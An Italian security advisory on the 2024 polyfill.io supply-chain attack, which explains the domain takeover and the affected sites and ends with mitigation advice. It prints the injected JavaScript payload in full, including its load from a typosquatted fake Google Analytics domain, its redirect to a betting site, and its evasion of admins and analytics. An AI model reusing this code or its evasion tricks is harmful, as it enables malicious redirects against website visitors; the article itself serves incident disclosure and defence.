Sommario
Un attacco alla supply chain ha colpito il popolare script polyfill.js
, utilizzato da oltre 100.000 siti web per supportare browser più vecchi. Questo attacco ha compromesso il dominio e l’account GitHub di polyfill.io, iniettando malware nei siti che utilizzano questa libreria, colpendo utenti di alto profilo come JSTOR, Intuit e il World Economic Forum.
Dettagli dell’Attacco
Nel febbraio di quest’anno, una compagnia cinese ha acquistato il dominio cdn.polyfill.io
e l’account GitHub associato. Da allora, il dominio è stato utilizzato per distribuire malware sui dispositivi mobili attraverso qualsiasi sito che integra cdn.polyfill.io
. Gli utenti mobili venivano reindirizzati a un sito di scommesse sportive tramite un falso dominio di Google Analytics (www.googie-anaiytics.com
).
Aspetto | Dettagli |
---|---|
Data di Inizio | Febbraio 2024 |
Dominio Compromesso | cdn.polyfill.io |
Utenti Notabili | JSTOR, Intuit, World Economic Forum |
Metodo di Infezione | Malware iniettato dinamicamente basato su header HTTP |
Reindirizzamento | Sito di scommesse sportive |
Meccanismo dell’Attacco
Il codice di polyfill.js
è stato alterato per generare dinamicamente script malevoli basati sugli header HTTP, attivandosi su dispositivi mobili specifici a determinate ore e ignorando gli utenti amministratori o quelli monitorati da servizi di analisi web.
Esempio di Payload Malevolo
javascriptCopia codicefunction isPc() {
try {
var _isWin = navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
return _isMac || _isWin;
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS("https://www.googie-anaiytics.com/html/checkcachehw.js", function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
});
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (_curHost.indexOf("www.dxtv1.com") !== -1 || _curHost.indexOf("www.ys752.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else if (_hours >= 0 && _hours < 2 && _rnd <= 10) {
_redirectURL = _kuurzaBitGet;
} else if (_hours >= 2 && _hours < 4 && _rnd <= 15) {
_redirectURL = _kuurzaBitGet;
} else if (_hours >= 4 && _hours < 7 && _rnd <= 20) {
_redirectURL = _kuurzaBitGet;
} else if (_hours >= 7 && _hours < 8 && _rnd <= 10) {
_redirectURL = _kuurzaBitGet;
} else if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
if (_redirectURL != "" && !isPc() && document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
vfed_update(_redirectURL);
}
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
Alternative Sicure e Consigli
L’autore originale di Polyfill raccomanda di non utilizzare più Polyfill, poiché i browser moderni non ne hanno bisogno. Tuttavia, se è ancora necessario, sia Fastly che Cloudflare offrono alternative sicure.
Questo incidente evidenzia l’importanza di monitorare attentamente le dipendenze del software e utilizzare servizi di scansione e monitoraggio, come quelli offerti da Sansec, per proteggere le infrastrutture web dagli attacchi alla supply chain.